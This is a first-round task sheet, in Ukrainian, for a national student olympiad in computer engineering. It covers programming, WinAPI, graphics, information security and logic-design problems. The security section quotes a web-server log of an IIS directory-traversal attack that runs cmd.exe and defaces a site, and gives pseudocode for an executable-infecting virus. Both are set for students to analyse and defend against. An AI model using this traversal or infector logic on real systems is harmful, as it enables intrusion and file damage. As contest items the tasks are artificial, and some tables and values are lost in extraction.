Всеукраїнська студентська олімпіада
Вид материала | Документы |
- Методичні рекомендації щодо проведення Всеукраїнської студентської олімпіади Загальні, 222.82kb.
- Пропозиції Інституту педагогіки І психології Сумдпу ім. А., 56.82kb.
- Хху всеукраїнська олімпіада з української мови та літератури, 125.46kb.
- Всеукраїнська учнівська Internet-олімпіада (2010 рік) Завдання І заочного туру з економіки, 142.3kb.
- Всеукраїнська науково-практична студентська конференція, 14.13kb.
- Волинський інститут післядипломної педагогічної освіти Всеукраїнська олімпіада з української, 133.71kb.
- Xiii всеукраїнська учнівська олімпіада юних істориків завдання 8 клас теоретичний тур, 263.84kb.
- Автономної Республіки Крим Дзоз Віталіна Олексіївна конкурс, 28.34kb.
- Методичні рекомендації щодо проведення ІІ етапу Всеукраїнської учнівської олімпіади, 44.62kb.
- Vі всеукраїнська науково-практична конференція, 18.58kb.
Всеукраїнська студентська олімпіада
за напрямом
«Комп’ютерна інженерія»
Спонсор – p.ua zntu.edu.ua
Максимальна кількість балів за кожну дисципліну 60.
Файли відповідей називати за номером завдання (наприклад: для завдання 1.1 файл розв’язку повинен називатися 1-1.cpp, для завдання 4.1 файл розв’язку повинен називатися 4-1.doc). Якщо розв’язок на завдання складається з декількох файлів, тоді їх потрібно додати до архіву (наприклад: для завдання 3.1 файл розв’язку повинен називатися 3-1.rar).
1 Програмування (мови C/С++)
Для перевірки своїх рішень на робочих місцях надані наступні компілятори:
– Borland C++ 3.1 (з пакетом TASM);
– Visual C++ 6.0;
– GNU C/C++.
Надсилаючи розв’язок необхідно зазначити компілятор (зі списку), який потрібно використовувати при перевірці. Компіляція буде виконуватись із використанням опцій компілятора по замовчуванню.
УВАГА! Суворо дотримуйтесь форматів файлів і схеми їх іменування. Недотримання цих правил може призвести до повного або часткового незарахування розв’язку.
1.1 (Максимальна оцінка – 10 балів)
Розглянемо послідовність перетворень натурального числа. Початковим є число, що містить у своєму десятковому запису не більше 4 цифр.
Перетворення задано наступною послідовністю дій. У десятковому запису вихідного числа послідовність однакових цифр, що йдуть одна за одною, замінюється на послідовність, що є десятковим записом кількості десяткових розрядів у послідовності однакових цифр, та цифру, з якої складається вказана послідовність однакових цифр. Якщо цифра не повторюється, то вона вважається послідовністю однакових цифр із довжиною в один десятковий розряд.
Приклад декількох послідовних перетворень:
108 111018 31101118 1321103118
Необхідно скласти програму, що виконує N послідовних перетворень початкового числа.
У першому рядку файлу 1-1.in міститься число N (1<=N<=25). У наступному рядку міститься початкове натуральне число, що містить у своєму десятковому запису не більше 4 цифр.
До файлу 1-1.out потрібно записати результат N перетворень вихідного натурального числа.
Обмеження на час виконання програмою одного тесту – 1 сек.
Приклад:
файл “1-1.in” | файл “1-1.out” |
3 108 | 1321103118 |
1.2 (Максимальна оцінка – 15 балів)
Нехай A – масив, що складається з N елементів A1, ..., AN. Позначимо його максимальне і мінімальне значення як max(A) та min(A), відповідно. Обчислимо суму елементів S, тобто S = A1 + A2 + ... + AN. Зробимо заміну кожного елементу масиву на різницю S і цього елемента, тобто Ai := S Ai, 1 < i < N. Таке перетворення масиву A назвемо операцією OBFUSCATE.
Створіть програму, яка з масиву B, що був отриманий у результаті K кратного застосування операції OBFUSCATE до деякого масиву A, обчислить різницю max(A)-min(A).
Перший рядок файлу 1-2.in містить цілі числа N і K, де N - кількість елементів масиву B (2 < N < 10000), а K - кількість застосувань операції OBFUSCATE до початкового масиву A, 1 < K < 100. Другий рядок файлу містить N елементів масиву B. Елементи масиву B - цілі числа, що належать до діапазону від -2 000 000 000 до 2 000 000 000.
Єдиний рядок файлу 1-2.out повинен містити ціле число, що є різницею max(A) і min(A).
Обмеження на час виконання програмою одного тесту – 1 сек.
Приклад:
файл “1-2.in” | файл “1-2.out” |
4 2 45 52 47 46 | 7 |
1.3 (Максимальна оцінка – 15 балів)
Написати програму, що допоможе архітектору визначити силует міста. Силуети усіх будівель є прямокутними, фундаменти усіх будівель знаходяться на одній висоті. Силует міста є двовимірним. Будівлі задані трійками чисел (Li Hi Ri), де Li і Ri – ліва і права координати силуету будівлі, а Hi – висота будівлі.
Наприклад, на наведеному малюнку будівлям відповідають трійки чисел:
(1,11,5), (2,6,7), (3,13,9), (12,7,16), (14,3,25), (19,18,22), (23,13,29), (24,4,28),
а силуету міста відповідає наступна послідовність:
(1, 11, 3, 13, 9, 0, 12, 7, 16, 3, 19, 18, 22, 3, 23, 13, 29, 0)
Вихідний файл 1-3.in містить послідовність трійок чисел, що задають будівлі у місті. Всі координати є цілими і додатними числами, що не перевищують 10000. У файлі буде не менше однієї і не більше 5000 трійок чисел. Кожна трійка чисел починається з нового рядка. У межах одного рядка числа відокремлені довільною кількістю пропусків і символів табуляції.
Вихідні дані впорядковані за зростанням лівої координати будівлі. Наприклад, будівля із найменшою лівою координатою буде зазначена першою.
Послідовність, що відповідає силуету міста, необхідно вивести до файлу 1 3.out. Кожній зміні висоти лінії силуету відповідають два числа: координата, починаючи з якої висота силуету змінилася, і власне висота лінії силуету. Останнім числом у файлі з результатом має бути число 0. Всі числа послідовності необхідно розташувати на одному рядку.
Обмеження на час виконання програмою одного тесту – 1 сек.
Приклад:
файл “1-3.in” | файл “1-3.out” |
1 11 5 2 6 7 3 13 9 12 7 16 14 3 25 19 18 22 23 13 29 24 4 28 | 1 11 3 13 9 0 12 7 16 3 19 18 22 3 23 13 29 0 |
1.4 (Максимальна оцінка – 20 балів)
Необхідно обчислити кількість N-значних чисел у системі числення з основою K таких, що їх запис не містить двох нулів, що йдуть один за одним. Обмеження: 2<=K<=10; 2<=N; 4<=N+K<=180.
Вихідний файл 1-4.in містить числа N і K у десятковому запису. Числа відокремлені пропуском або символом нового рядка.
У файл 1-4.out необхідно вивести шукану кількість чисел у десятковому запису.
Обмеження на час виконання програмою одного тесту – 2 сек.
Приклад:
файл “1-4.in” | файл “1-4.out” |
2 10 | 90 |
2 Системне програмування
2.1 (Максимальна оцінка – 15 балів) (WinAPI, GDI, C/C++)
Написати програму, після запуску якої, будь-яке вікно, над яким знаходиться курсор миші, стає обрамованим прямокутником світло-зеленого кольору (межі вікна виділити).
2.2 (Максимальна оцінка – 10 балів) (WinAPI, C/C++)
Написати програму, головне вікно якої має вигляд емблеми «Олімпіади з комп’ютерної інженерії». У верхньому краю емблеми вікно повинне мати панель Заголовку та Меню. Панель Заголовку має складатися з кнопок мінімізації та закриття. Меню програми – пункт «About», за допомогою якого можна дізнатися назву команди виконавця.
2.3 (Максимальна оцінка – 20 балів) (WinAPI, C/C++)
Створити програму, що малює коло з початковим радіусом 50 пікселів у центрі “Робочого столу” системи Windows, при натисканні і утриманні комбінації «Shift + ↑» збільшувати радіус кола, при натисканні і утриманні комбінації «Shift + ↓» зменшувати радіус кола, а якщо натиснуто кнопки стрілок (керування курсором) – то переміщувати коло на деяку величину вверх, вниз, вліво або вправо. Вийти з програми при натисканні «ESC».
2.4 (Максимальна оцінка – 15 балів) (WinAPI, C/C++)
Відомо, що комп’ютер було інфіковано «вірусом», який використовує уразливість Інтернет-бравзера та виконується в каталозі, який вказано в змінній оточення %ТЕМР%. Написати програму, що відображає перелік процесів у системі, що виконуються з цього каталогу.
3 Комп’ютерна графіка
Файли завдань знаходяться в електронній системі “Moodle”.
3.1 (Максимальна оцінка – 10 балів)
Тема. Тонова, кольорова корекція, ретуш та фотомонтаж графічних зображень.
Завдання. Необхідно з наданих фотографій отримати ті, що надані як зразки.
Вихідні дані.
- Вхідні файли зображень в форматі JPG.
- Вихідні файли зображень-зразків в форматі JPG.
Вимоги
- Робота виконується в растровому графічному редакторі Adobe Photoshop.
Результат
- Файли зображень в форматі JPG, архівовані в один файл формату RAR.
3.2 (Максимальна оцінка – 10 балів)
Тема. Створення ілюстрації в векторному графічному редакторі.
Завдання. Необхідно створити у векторному вигляді зображення логотипу у відповідності до виданого в растровому вигляді завдання.
Вихідні дані.
- Вхідний файл зображень в растровому форматі JPG.
Вимоги
- Робота виконується у векторному графічному редакторі Adobe Illustrator.
- Об’єкти вихідного векторного зображення повинні мати оптимальну кількість вузлів.
Результат
- Файл зображень в векторному форматі AI.
3.3 (Максимальна оцінка – 20 балів)
Тема. Створення анімації за допомогою Flash-технології.
Завдання. Необхідно створити файл анімації, відповідно до виданого завдання.
Вихідні дані.
- Файл анімації у форматі SWF.
Вимоги
- Робота виконується в графічному редакторі Macromedia Flash.
Результат
- Файл анімації в форматі FLA.
3.4 (Максимальна оцінка – 20 балів)
Тема. Створення інтерактивної анімації за допомогою Flash-технології.
Завдання. Необхідно створити файл анімації, відповідно до виданого завдання.
Вихідні дані.
- Файл анімації у форматі SWF.
Вимоги
- Робота виконується в графічному редакторі Macromedia Flash.
Результат
- Файл анімації в форматі FLA.
3.1
Вихідні зображення Результат
3.2
Вихідне зображення
3.3
Вихідний файл анімації
3.4
Вихідний файл анімації
4 Захист інформації
Файли результатів відправляти в форматі Microsoft Word.
4.1 Атака (Максимальна оцінка – 15 балів) |
Проаналізувати атаку на Web-сервер невеликої коммерційної установи, в ході якої сайт фірми замінили сторінкою з повідомленням від зловмисника. Хід атаки зафіксовано в наступних записах лог-файла Web-сервера: 03/03/2001 4:01 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+c:\ 200 730 484 3 1 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98) 03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+dir+c:\inetpub\ 200 7 49 492 32 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows +98) 03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../,./winnt/system32/cmd.exe /c+dir+c:\inetpub\wwwroot 200 1124 499 47 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0; +Windows+98) 03/03/2001 4:02 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /'mmc.gif - 404 3387 440 0 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98) 03/03/2001 4:03 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /index.php - 200 228 484 0 www.victim.com Mozilla/4.0+(compat ible;+MSIE+5.0;+Windows+98) m.com/buzzxyz.php 03/03/2001 4:05 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+rename+d:\wwwroot\det our.php+detour.php.old 502 355 522 31 www.victim.com Mozilla/4.0+ (compatible;+MSIE+5.0;+Windows+9 8) 03/03/2001 4:05 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+md+c:\ArA\ 502 355 48 8 31 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98) 03/03/2001 4:05 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../winnt/system32/cmd.exe /c+copy+c:\winnt\system3 2\cmd.Exe+c:\ArA\cmdl.exe 502 382 524 125 www.victim.com Mozilla/4. 0+(compatible;+MSIE+5.0;+Windows+98) 03/03/2001 4:07 chewie.hacker.fr W3SVC1 WWW-2K WWW-2K.victim.com 80 GET /scripts/../../ArA/cmdl.exe /c+echo+H Друзі+Mої, +ви+тепер+повністю+ належите+мені.+Я+тут,+а+де+ваш+ захист?+А+нема+його+ більше! Хто+мені+не+вірить, +той+може+перевірити+захист+ системи."+»+c:\ArA\default.htm 502 355 763 31 www.victim.com Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98) |
|
4.2 Алгоритм RSA (Максимальна оцінка – 20 балів)
По відкритому ключу (, ) = (2047, 179) алгоритму RSA знайдіть секретний ключ (, ). Визначте максимально можливий бітовий розмір блоку відкритого тексту. |
|
4.3 Подвійний квадрат (Максимальна оцінка – 10 балів)
Розшифрувати повідомлення
яке було зашифроване за допомогою «подвійного квадрату» Уітстона
| |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
4.4 Вірус (Максимальна оцінка – 15 балів)
|
Проаналізуйте текст шкідливої програми в псевдокодах, визначите принцип її дії та можливу шкоду. Запропонуйте методи захисту від таких програм. {***************************************************************************} константи EXE_NAME_OFFSET = $A3E; { PASSWORD_OFFSET = EXE_NAME_OFFSET+$29; типи Bytefile = file of byte; Charfile = file of char; змінні VIRUS_SIZE: longint; {***************************************************************************} процедура ResetFile(var file_handle:Bytefile; file_name:string); почати присвоїти(file_handle,file_name); скинути(file_handle); якщо IOResult<>0 то почати написати('file "'); написати(file_name); написати('" was not open.'); прочитати; почекати(1); кінець; кінець; {***************************************************************************} процедура ResetCharFile(var file_handle:Charfile; file_name:string); почати присвоїти(file_handle,file_name); скинути(file_handle); якщо IOResult<>0 то почати написати('file "'); написати(file_name); написати('" was not open.'); прочитати; почекати(1); кінець; кінець; {***************************************************************************} процедура MoveBytes(var source_file, dest_file: Bytefile; pos1, pos2, amount: longint); змінні i: integer; Buffer: byte; почати для i:=0 до amount-1 виконати почати пошук(source_file,pos1); прочитати(source_file,Buffer); pos1:=FilePos(source_file); пошук(dest_file,pos2); записати(dest_file,Buffer); pos2:=FilePos(dest_file); кінець; кінець; {***************************************************************************} процедура ImplantStringInExe(exe_name,impl_st: string; offset: longint); змінні exe_file: Charfile; i: integer; почати ResetCharFile(exe_file,exe_name); поиск(exe_file,offset); для i:=0 до length(impl_st) виконати записати(exe_file,impl_st[i]); закрити(exe_file); кінець; {***************************************************************************} процедура GenerateSecretKey(file_name: string; var secret_key: longint); змінні file_handle:Bytefile; bt: byte; i: integer; почати ResetFile(file_handle,file_name); secret_key:=0; для i:=0 до $1b виконати почати прочитати(file_handle,bt); secret_key:=secret_key+bt; кінець; закрити(file_handle); кінець; {***************************************************************************} процедура Shifrate(file_name:string; secret_key: longint); змінні i: integer; io_file: Bytefile; Buffer: byte; pos: longint; почати ResetFile(io_file, file_name); randseed:=secret_key; пошук(io_file,VIRUS_SIZE); для i:=VIRUS_SIZE до FileSize(io_file)-1 виконати почати pos:=FilePos(io_file); прочитати(io_file,Buffer); Buffer:=random(256) xor Buffer; пошук(io_file,pos); записати(io_file,Buffer); кінець; закрити(io_file); кінець; {***************************************************************************} процедура ShifrateString(secret_key: longint; var st: string); змінні i: integer; почати randseed:=secret_key; для i:=1 до length(st) виконати st[i]:=chr(ord(st[i]) xor random(256)); кінець; {***************************************************************************} змінні exe_name,virpatch_name,password: string; pos1,pos2,exe_size,limit,secret_key: longint; exe_file, virpatch_file: Bytefile; почати написати('Input the name of a DOS exe-file in this folder'); написати('to be infected (with extention):'); прочитати(exe_name); virpatch_name:='vpatch.vrs'; ResetFile(exe_file,exe_name); ResetFile(virpatch_file,virpatch_name); VIRUS_SIZE:=FileSize(virpatch_file); pos1:=0; exe_size:=FileSize(exe_file); якщо exe_size>= VIRUS_SIZE то begin pos2:=exe_size; limit:=VIRUS_SIZE; кінець інакше begin pos2:=VIRUS_SIZE; limit:=exe_size; кінець; MoveBytes(exe_file,exe_file,pos1, pos2, limit); pos1:=0; pos2:=0; MoveBytes(virpatch_file,exe_file,pos1, pos2, VIRUS_SIZE); закрити(exe_file); закрити(virpatch_file); GenerateSecretKey(virpatch_name,secret_key); написати('Input the password (max. 32 characters): '); прочитати(password); ShifrateString(secret_key,password); ImplantStringInExe(exe_name,exe_name,EXE_NAME_OFFSET); ImplantStringInExe(exe_name,password,PASSWORD_OFFSET); Shifrate(exe_name,secret_key); написати('The file "'); написати(exe_name); написати('" was successfully infected.'); написати('Press "Enter."'); прочитати; кінець. |
|
5 Прикладна теорія цифрових автоматів
5.1 (Максимальна оцінка – 15 балів за повне і обґрунтоване рішення задачі)
Створити цифровий пристрій у вигляді комбінаційної схеми (КС) мажоритарного елементу, що реалізує функцію голосування (вибір з 3-х каналів входу F1, F2 , F3 одного F на виході) із використанням додаткової КС, функція якої - вказати на номер помилкового каналу кодом А0А1. Рішення виконати в оболонці симулятора Electronics Workbench (EWB, free demoversion) на реальних або віртуальних схемах: мультиплексорах 2 в 1 і/або елементах базисів Пірса, Шефера, Жегалкіна, Буля.
Надано:
1. Таблицю істинності мажоритарного елементу «з 3-х в 1» із додатковими кодами А0А1 номеру каналу, що відмовив (код А1А0, що дорівнює 00, вказує на те, що всі три канали передали вірні біти);
- Симулятор Electronics Workbench (EWB, free demoversion) для побудови схеми створених КС (без перевірки їх функціонування).
F | F2 | F3 | F | А0 | А1 |
0 0 0 0 1 1 1 1 | 0 0 1 1 0 0 1 1 | 0 1 0 1 0 1 0 1 | 0 0 0 1 0 1 1 1 | 0 1 1 0 0 1 1 0 | 0 1 0 1 1 0 1 0 |
Треба отримати та надати:
Аналітичні та найбільш мінімізовані вирази для функцій F і А1А0;
- Файл із побудованою схемою в оболонці EWB.
Критерії оцінювання:
Вірність отриманих аналітичних виразів для функцій F і А0А1;
- Глибина та оригінальність підходів при мінімізації;
- Найменша кількість елементів, використаних для побудови функцій і каскадів перетворення.
5.2 (Максимальна оцінка – 15 балів за повне і обґрунтоване рішення задачі)
Надано: граф-схема алгоритму (ГСА) функціонування моделі цифрового автомата (ЦА) Мура для прийому одного комунального платежу (наприклад, за електроенергію) паперовими купюрами.
Треба отримати та надати:
Таблицю кодів станів ЦА на основі Т тригерів, вказати кількість Т тригерів, необхідних для реалізації ЦА;
- Максимально мінімізовані функції збудження Т тригерів і вихідних сигналів Уi.
Критерії оцінювання:
1. Наявність таблиці переходів-виходів автомата Мура.
2. Вірність отриманих аналітичних виразів для функцій збудження Т тригерів, оптимізація кількості їх перемикань при зміні станів ЦА;
3. Глибина та оригінальність підходів при мінімізації функцій збудження Т тригерів і вихідних слів Уі.
5.3 (Максимальна оцінка – 15 балів за повне і обґрунтоване рішення задачі)
Надано: карта Карно для функції з 5 змінних:
Треба отримати та надати:
1. Аналітичний вираз (рівняння) для реалізації функції із використанням найменшої кількості логічних схем (дозволено використання елементів з 1, 2, …, 8 логічними входами будь-якого базису: Пірса, Шефера, Жегалкіна, Буля).
- Схему з мінімальною кількістю необхідних логічних елементів в симуляторі Electronics Workbench (без перевірки їх функціонування).
Критерії оцінювання:
1. Глибина та оригінальність підходів при мінімізації;
2. Найменша кількість елементів, використаних для побудови функції.
5.4 (Максимальна оцінка – 15 балів за повне і обґрунтоване рішення задачі)
Створити схему постійного запам`ятовуючого пристрою (ПЗП) розміром 1 х 8 на основі запропонованих типів схем.
Надано:
1. Будь-яка кількість мультиплексорів 2 в 1 і схеми базису Буля;
- Симулятор побудови схем - Electronics Workbench (EWB, free demoversion);
Треба отримати та надати:
- Таблицю істинності (ТІ) функціонування ПЗП;
- Обґрунтування можливості (або неможливості) його створення.
Критерії оцінювання:
1. Відповідність ТІ та оригінальність підходів що до її отримання;
2. Найменша кількість елементів, використаних для побудови ПЗП.
Конкурсні завдання (перший тур) стор.